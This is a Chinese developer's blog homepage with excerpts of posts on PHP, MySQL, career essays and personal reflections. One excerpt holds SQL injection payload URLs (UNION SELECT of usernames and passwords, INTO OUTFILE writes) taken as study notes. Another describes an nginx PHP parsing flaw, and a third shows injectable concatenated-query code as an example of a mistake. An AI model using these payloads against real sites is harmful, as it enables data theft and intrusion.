显示下一条  |  关闭

一品光猪

HelloWorld

 
 
 
 
 
 

湖北省 武汉市 处女座

 发消息  写留言

 
近期心愿日思日睿,笃志笃行
博客等级加载中...
今日访问加载中...
总访问量加载中...
最后登录加载中...
 
 
 
 
 
 
 
心情随笔列表加载中...
 
 
 
 
 
 我要留言
 
 
 
留言列表加载中...
 
 
 
 
 
 
 
日志评论
评论列表加载中...
 
 
 
 
 

网易微博

 
 
 
 
 
 
 
 
 
 

[置顶] [转]你必须非常努力,才能看起来毫不费力

2011-12-29 9:40:21 阅读13 评论1 292011/12 Dec29

有一群人,他们积极自律,每天按计划行事,有条不紊;他们不张扬,把自己当成最卑微的小草,等待着人生开出花朵的那天。

他们早晨5点多起来健身,你在睡觉;7点开始享受丰盛的早餐,蛋白质维生素淀粉粗纤维样样俱全,为新的一天起了一个好头,当他们收拾妥当准备开始一整天的工作时,你还在睡觉;他们用上午的高效时间完成了一个又一个任务,甚至发现的新的商机,发现了有可能给人生带来改观的机遇,当午餐时间临近,他们伸了伸腰,准备稍作休息,此时你终于起床。

他们的午餐不铺张浪费,却营养全面,他们有选择的进食,因为清楚的知道自己想要的是什么,而你也在起床之后但觉到了饿意,你草草的洗了把脸,甚至连牙都没刷,打开冰箱,拿出了昨晚跟朋友high过之后带回来的薯条以及可乐;午睡之后,他们重新积极的投入工作,而你也终于吃饱喝足,坐在了电脑前。是的,你的一天开始了。

晚上回到家里,他们也打开了电脑,也许是为了完成白天没来得及做完的工作,也许是因为前两天刚报了一个网络课堂,此时你还沉浸在dota中,你发的贴子还不够有人气,你发现空老师又更新微薄了,电视剧里男女猪脚还没有最后在一起,作恶多端的女二号还没有得到应有的报应。

终于,22点到了,他们停下了工作,或许去满满的书架上拿下了一本书,或许拿起了自己心爱的乐器打算练练手,或许已经上床睡觉。当然,睡之前他们会想一想,自己在这一天都做了什么,有什么收获,又有什么教训。最后,他们又重新提醒了一下自己那个埋在内心深处的梦想,然后满意的睡去了。此时的你还在等待升级,还在顶贴子,还在刷微薄,还在为了男一号女一号哭哭啼啼,你的一天才刚刚开始精彩。

作者  | 2011-12-29 9:40:21 | 阅读(13) |评论(1) | 阅读全文>>

使用MySQL命令行修改密码

2012-1-17 9:19:09 阅读5 评论0 172012/01 Jan17

通过MySQL命令行,可以修改MySQL数据库的密码,下面就为您详细介绍该MySQL命令行,如果您感兴趣的话,不妨一看。

  格式:mysqladmin -u用户名 -p旧密码 password 新密码

  1、给root加个密码ab12。首先在DOS下进入目录mysql\bin,然后键入以下命令

  mysqladmin -u root -password ab12

  注:因为开始时root没有密码,所以-p旧密码一项就可以省略了。

  2、再将root的密码改为djg345。

  mysqladmin -u root -p ab12 password djg345

  (注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

  3、命令行修改root密码:

  mysql> UPDATE mysql.user SET password=PASSWORD(’新密码’) WHERE User=’root’;

  mysql> FLUSH PRIVILEGES;

  4、显示当前的user:

  mysql> SELECT USER();

作者  | 2012-1-17 9:19:09 | 阅读(5) |评论(0) | 阅读全文>>

2012年看看“开发者们”都想干什么

2012-1-16 12:01:44 阅读5 评论0 162012/01 Jan16

PHP支持公司Zend刚刚发布了《Zend Developer Pulse》(开发者脉动全球调查报告)。该调查项目从2011年11月末开始,全球共有3335个开发者参与该项调查,其中来自大企业、中小企业和独立软件开发者都有。

  在开发者最希望参加的项目中,移动应用开发占66%,API开发和社交媒体整合分别占48%和45%,而基于云计算和大数据的开发项目也占到了40%左右。

  

  在职业发展前景下对开发者最重要领域的调查中,四分之三左右的开发者十分看重下一代用户界面和移动开发项目,云计算、API开发和大数据也有五分之二的人非常看重。

  

  尚未使用云计算服务提供商的开发者中,打算使用公有云计算的占61%,不打算使用的占39%。  

  开发者打算使用的云计算服务提供商中,想用Amazon AWS的人最多,占30%,另有三分之一的开发者没想好用哪家服务。其他用Rackspace、微软Azure和IBM智慧云的不到10%。

  除了PHP,开发者最常用的程序语言是JavaScript,占到了82%。其他的程序语言,包括Java、C++、Python使用者都不到三分之一。

  报告还引用了Indeed网站的各种语言在工作中的需求增长趋势,从中可以看出PHP、Javascript和C#增长速度都很快。

  下面三个和职业无关。很多开发者喜欢一边写代码一边听音乐,而且比例高达86%,只有十分之一左右的开发者不在工作时间听音乐。

  Zend还

作者  | 2012-1-16 12:01:44 | 阅读(5) |评论(0) | 阅读全文>>

五个常见 PHP数据库问题

2012-1-13 9:09:47 阅读3 评论0 132012/01 Jan13

如果只有一种方式使用数据库是正确的,您可以用很多的方式创建数据库设计、数据库访问和基于数据库的 PHP 业务逻辑代码,但最终一般以错误告终。本文说明了数据库设计和访问数据库的 PHP 代码中出现的五个常见问题,以及在遇到这些问题时如何修复它们。

  问题 1:直接使用 MySQL

  一个常见问题是较老的 PHP 代码直接使用 mysql_ 函数来访问数据库。清单 1 展示了如何直接访问数据库。

  清单 1. Access/get.php

  <?php

  function get_user_id( $name )

  {

  $db = mysql_connect( 'localhost', 'root', 'password' );

  mysql_select_db( 'users' );

  $res = mysql_query( "SELECT id FROM users WHERE login='".$name."'" );

  while( $row = mysql_fetch_array( $res ) ) { $id = $row[0]; }

  return $id;

  }

  var_dump( get_user_id( 'jack' ) );

  ?>

  注意使用了 mysql_connect 函数来访问数据库。还要注意查询,其中使用字符串连接来向查询添加 $name 参数。

作者  | 2012-1-13 9:09:47 | 阅读(3) |评论(0) | 阅读全文>>

PHP 5.3.9正式版发布!

2012-1-13 9:08:28 阅读4 评论0 132012/01 Jan13

经过4个RC版,PHP 5.3.9正式版总算发布了。2012-01-11 上一个版本还是2011-08-23的5.3.8 这个版本当然修正了那个hash 碰撞攻击bug.此外还有大量的bug修正。

  Security Enhancements and Fixes in PHP 5.3.9:

  Added max_input_vars directive to prevent attacks based on hash collisions. (CVE-2011-4885)

  Fixed bug #60150 (Integer overflow during the parsing of invalid exif header). (CVE-2011-4566)

  Key enhancements in PHP 5.3.9 include:

  Fixed bug #55475 (is_a() triggers autoloader, new optional 3rd argument to is_a and is_subclass_of).

  Fixed bug #55609 (mysqlnd cannot be built shared)

  Many changes to the FPM SAPI module

  完全改进:http://www.php.net/ChangeLog-5.php#5.3.9

  下载:http://cn.ph

作者  | 2012-1-13 9:08:28 | 阅读(4) |评论(0) | 阅读全文>>

编程更像写作

2012-1-13 9:07:06 阅读4 评论0 132012/01 Jan13

早在2009年,Bruce Eckel 写了一篇文章,道出了我的想法。

  “我终于给软件开发找到了一个好的类比,” Bruce 写到。“可是,我的读者们可能对这个类比不会满意。”

  编写软件被人们类比成各种各样的事情,从数学计算,到科学,到工程,到手工艺。Bruce的观点是,跟编写软件最相似的应该是写作。

  Bruce并不是第一个把这两种行业进行联系的人。在《代码整洁之道(Clean Code)》这本书里,Robert C. Martin说,“我们都是作家。” Butler Lampson早在1972年就预见到:程序员不久将会变的更像诗人,而不是手工艺者。有一个Coding the Wheel的博客甚至写了一篇关于Strunk and White这本书的详细的分析报告,并把它当作程序员手册。

  我想这是一个不错的比喻,更重要的是,这是一个非常有意义的比喻。

  而且反过来说也不错。我并不想展开来讨论说作家应该像程序开发者那样思考,但我相信任何作者,如果采用程序员们使用的那些非常好的方法,他们的散文一定会有极大的提高。

  

  埃里克·雷蒙德,全名“埃里克·S·雷蒙德”(Eric Steven Raymond)。1957年12月4日出生于美国波士顿,常用名称ERS,著名的计算机程序员,开发源代码软件运动的旗手。

作者  | 2012-1-13 9:07:06 | 阅读(4) |评论(0) | 阅读全文>>

nginx文件类型错误解析漏洞

2012-1-11 17:36:55 阅读4 评论0 112012/01 Jan11

漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。

漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以

location ~ \.php$ {

root html;

fastcgi_pass 127.0.0.1:9000;

fastcgi_index index.php;

fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;

include fastcgi_params;

}

的方式支持对php的解析,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定,而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。

那么假设存在一个http://www.80sec.com/80sec.jpg,我们以如下的方式去访问

作者  | 2012-1-11 17:36:55 | 阅读(4) |评论(0) | 阅读全文>>

讣告:传智播客创始人张孝祥老师年前意外辞世

2012-1-9 16:13:49 阅读7 评论0 92012/01 Jan9

传智播客今日(2012年1月1日)沉痛宣布,公司创始人兼教学总监张孝祥老师于2011年12月31日在北京不幸急病突发意外逝世,终年38岁,张孝祥追悼会将于2012年1月4日上午7时开始,在北京八宝山兰厅举行。

张孝祥于2001年创办锐信科技有限公司,2005年创办传智播客科技有限公司,2011年创立黑马程序员训练营,一直致力于中国的软件开发教育事业,张孝祥老师善于解剖和分析问题,善于使用生动形象的比喻,能将复杂的、难于理解的问题与知识简单化讲解,其人生格言是“为千万人少走弯路而著书、为中华软件之崛起而讲课”,从锐信科技到传智播客,十几年来,张孝祥一直在践行着这一格言,亲身培养了上万名优秀的软件开发人员。

张孝祥还出版了一系列专业著作,包括《Java就业培训课程》,《深入体验Java Web开发内幕 核心基础》《深入体验Java Web开发内幕 高级特性》《JavaScript网页开发――体验式学习教程》《Java邮件开发详解》。

张孝祥还发行了一系列java技术视频讲座,包括《张孝祥Java视频讲座》《张孝祥Java Web开发视频教程》 《张孝祥Struts开发视频教程》,《张孝祥Java邮件开发视频教程》《张孝祥JavaScript开发视频教程》,数百万的计算机学生和开发者因此而获益。

张老师一生最爱跟学生聊天谈技术,最喜欢听学生说自己的学习故事与就业故事,为了让张老师在走向另一个世界的路途中不会感到寂寞,恳请各位同学可以把自己的故事写出来,发到

作者  | 2012-1-9 16:13:49 | 阅读(7) |评论(0) | 阅读全文>>

为什么程序员的社会地位不高?

2012-1-9 16:10:19 阅读11 评论0 92012/01 Jan9

到目前为止,在过去60年中在世界排名前20的国家中,没有哪条街是以程序员或者计算机科学家的名字命名的。

没有任何一个世界主要城市拥有程序员或者计算机科学家的雕像。

没有程序员或者计算机科学家获得过总统奖章(Presidential Medal)或者国会金质奖章(Congressional Gold Medal)。

没有国家级别的针对程序员或者计算机科学家的颁奖典礼。但是我们有艺术、运动、经济、娱乐等大型颁奖典礼。更没有红地毯或者类似诺贝尔奖来表彰程序员的成就和为人类作出的贡献。

即使程序员、计算机科学家的工作让整个世界大唱赞歌,他们也只是坐在后排座位,看着别人发表演讲,拿起奖杯。

唯一的一个例外,是英国的计算机科学家 Alan Turing (图灵)被誉为计算机之父。图灵有以下荣誉:一座桥和一条街被命名为“Alan Turing Way”。图灵的雕像从2001年6月23日开始立在了曼彻斯特。从1966年开始,图灵奖每年都会颁发给在这个领域有杰出贡献的人。图灵奖被誉为计算机世界的最高奖项,等同于诺贝尔奖。

大部分的程序员和计算机科学家的薪水都不如销售,管理,设计,医生等等。当然程序员在约会方面也没有优势,他们不是艺术家,音乐家,设计师,建筑师,运动员……程序员们绝对不处于男女关系链(Sexual food chain)的上层。

时代杂志在过去的85年中曾经提名过4位计算机领域的年度人物,

作者  | 2012-1-9 16:10:19 | 阅读(11) |评论(0) | 阅读全文>>

PHP爱好者请坚定你们的信念!

2012-1-9 9:42:16 阅读8 评论2 92012/01 Jan9

很多学PHP的人一直也搞不清楚,一个PHP程序员和Java程序员或者是.net程序员有什么不同,告诉你,其实都一样!没有什么不同,下面的内容,就是针对一个Java程序员掌握的技能对比PHP来说的!告诉你,它们其实是一样的,不过是工具而已,没有高低贵贱之分。只不过你不熟练,不知道而已!

  1、语法

  必须比较熟悉,在写代码的时候IDE的编辑器对某一行报错应该能够根据报错信息知道是什么样的语法错误并且知道任何修正。

  2、命令

  必须熟悉PHP带的一些常用命令及其常用选项,熟悉那些命令,自己运行php.exe -h 如果这些命令你没有全部使用过,那么你对PHP实际上还很不了解。

  3、工具

  必须至少熟练使用一种IDE的开发工具,例如:Eclipse、Netbeans、zend或者editplus,ultraedit,包括进行工程管理、常用选项的设置、PHP插件的安装配置以及进行调试。

  4、API

  PHP的核心API是非常庞大的,但是有一些内容笔者认为是必须熟悉的,否则不可能熟练的运用PHP,包括:

  (1)文件目录处理函数包80%以上的函数的功能的灵活运用。

  (2) 日期时间函数中的80%以上的函数的功能的灵活运用

  (3) 数学函数库中的100%的内容。

  (4) 网络库中的60%以上的内容,对各个函数的功能比较熟悉。

  (5) 字符串处理函数下的60%以上的内容,特别是各种处理函数。

作者  | 2012-1-9 9:42:16 | 阅读(8) |评论(2) | 阅读全文>>

PHP的SQL注入

2012-1-6 14:54:06 阅读9 评论0 62012/01 Jan6

今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL

  语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了

  解SQL的基本原理。笔记中的代码来自网络。

  ===基础部分===

  本表查询:

  http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6

  http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

  Union联合语句:

  http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*

  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

  导出文件:

  http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt

  http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

作者  | 2012-1-6 14:54:06 | 阅读(9) |评论(0) | 阅读全文>>

简单说说PHP优化

2012-1-6 14:49:26 阅读4 评论0 62012/01 Jan6

我们在编写程序时,总是想要使自己的程序占用资源最小,运行速度更快,代码量更少。往往我们在追求这些的同时却失去了很多东西。下面我想讲讲我对PHP优化的理解。优化的目的是花最少的代价换来最快的运行速度与最容易维护的代码。

  进行大范围的优化,而不是死啃某些程序代码

  我这里所说的优化,基本上都是从服务器,Apache,数据库这些方面来进行的优化,而并不是对你的PHP代码加以改进从而提高程序的运行速度,因为比起你将程序中的正则优化为字符串处理函数从而提升程序速度来说,在大范围内进行的优化所需要的代价要比这个小的多,而获得报酬却要丰厚的多。

  在非代码处进行优化有以下好处:

  1、通常情况下能够大大提高效率

  2、不会危及到代码的完整性

  3、能够快速部署

  缓存技术

  下面来说说常用的缓存技术,通过这些缓存技术能够大大的提高效率

  在说到缓存技术的时候不得不提到memcached ,memcached是高效、快速的分布式内存对象缓存系统,主要用于加速 WEB 动态应用程序。

  Memcached的原理

  memcached 是以守护程序方式运行于一个或多个服务器中,等待接收客户端的连接操作,客户端可以由各种语言编写(例如PHP)。PHP 等客户端在与 memcached 服务建立连接之后,接下来的事情就是存取对象了,每个被存取的对象都有一个唯一的标识符 key,存取操作均通过这个 key 进行,保存到 memcached

作者  | 2012-1-6 14:49:26 | 阅读(4) |评论(0) | 阅读全文>>

[转发]把JS与CSS写在同一个文件里,还是可以用滴

2011-12-29 9:39:20 阅读15 评论0 292011/12 Dec29

首先感谢比尔、感谢微软、感谢MSDN(注意不是CSDN),是他们让我看到他们富有创意的一面,好了好了不废话了。

  我们经常把多个CSS或者多个JS并成一个,以节省请求,但是这样最少还是要两个。在MSDN的Blog上看到原来也是可以把JS和CSS并在一个文件里,那怎样做呢?利用注释,先看一下这代码。

<!-- /*

window.onload=function(){

document.getElementById("test2").innerHTML="传说中滴JS测试者。如果你看到我,那<strong>JS</strong>也生效了";

}

<!-- */

<!-- #test1,#test2{border:3px #000 solid;padding:5px;color:#123456;background-color:#ccc;} strong{color:red;}

  CSS处理时会忽视掉

  在网上运行时还要通过程序输出个“*/*”的头,不然MIME不对有的浏览器不干活。PHP的是这样:

  <?header('Content-type: */*');?>

  理论上在服务器上指定某种后缀的MIME是“*/*”应用也行得通,不过我没有试。把JS跟CSS写在同一个文件特别适合第三方调用的那种,虽然文件大了一点,但能少了一半的请求数,帅帅滴。补充说明,直接这样使用会是两个200的,要节省还要涉及到服务器配置,最少我还不知道单程序可以实现的。

作者  | 2011-12-29 9:39:20 | 阅读(15) |评论(0) | 阅读全文>>

2011年总结

2011-12-28 13:37:47 阅读14 评论0 282011/12 Dec28

2011年发生了很多的事。

2011年1月4日,我在博客中写到:"2011年 我该给自己制定一些计划与目标,并认认真真的完成。时间会过的很快。再不留神,2011又没了。"

2011年1月8日,我们去思远招聘新人,第一次在招聘会上变换角色,由应聘者转型为面试官。

2011年2月,两个家庭的首脑在潇子家举行会晤,就我们两终身大事进行洽谈,并达成一致意见。为此,我和潇子多年的感情终于有了官方的认可。

2011年3月,松哥离开了公司,HSM离开了公司。

2011年3月2日,由于我的个人情绪,在公司腾讯通的群里面对配置库管理员的小妹妹发了一顿火,最后被领导给和谐了。

2011年3月7日,我的搭档满哥离开了公司,开始了新的旅程。

2011年4月,WSY离开了公司,小艳子离开了公司。

2011年4月,乐经理纠正了我一个英文单词的发音。

2011年4月18日,在众多朋友离职的时候,我写了一篇博文:“为自己打气”。我表示压力很大。

2011年5月,我的搭档 金姐 离职。

2011年5月31日,第一次坐动车,第一次到上海,第一次坐地铁。就德邦证券的相关对接事宜进行了商讨。

2011年6月1日,第一次来到东方明珠,看到黄浦江。

2011年6月,洪老大离职。CC有半个月没有来上班。

2011年6月29日,我写了一篇博文:“关于CC的离职”,我表示压力很大。

2011年7月,乐经理离职,远赴美国攻读博士学位。舍不得啊。

作者  | 2011-12-28 13:37:47 | 阅读(14) |评论(0) | 阅读全文>>

谈谈学习与沟通

2011-12-23 21:20:17 阅读12 评论0 232011/12 Dec23

很多人知道,caoz读书的时候还算是好学生,至少混了个名校毕业,但是很少人知道,从初中起我就是抄作业大王。初中三年、年年班里第一,中考的时候年级第一,很多同学都纳闷,因为我并不是那种标准的好学生,先不说上课聊天不听讲神马的,只抄作业这一项,就足够让他们纠结不已。抄作业能抄出年级第一?这就看你怎么抄了。是机械式的复制,还是深入体会,博采众长。

       到工作中,我发现,这真是一个优点,也是很多其他人的盲区。

       先说个技术招聘的事情,Discuz是款非常流行的开源软件,招聘php工程师,大多数都看过discuz代码,在上面做过二次开发的比比皆是,而且有意思的是,几乎每个工程师都能挑出discuz的若干不足和问题,有时候我就会从中选择一些面试题,比如discuz在ip地区识别中的一些算法函数,一些复合索引和冗余字段的设计思路,乃至用户密码随机salt的原理,一深究下去,发现应聘者基本上都回答不出来。你不是看discuz代码了嘛?还做了半年以上的二次开发?还找到了人家若干问题?怎么人家的一些基本思路和设计原理搞不清楚呢? 见过太多工程师,动辄就是discuz不灵,重写一套吧,但是较真一点,真能把discuz的设计思路和数据结构吃透的人,绝对是高手了,这些喊要重写一套的,没见到有谁达到了戴志康的技术高度。

       再说IT评论家的事情,很多it评论家,看人家产品,满眼都是问题和缺陷,怎么说都有理,为什么他们做不成事情?

作者  | 2011-12-23 21:20:17 | 阅读(12) |评论(0) | 阅读全文>>

查看所有日志>>

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2012

   
创建博客 登录  
 关注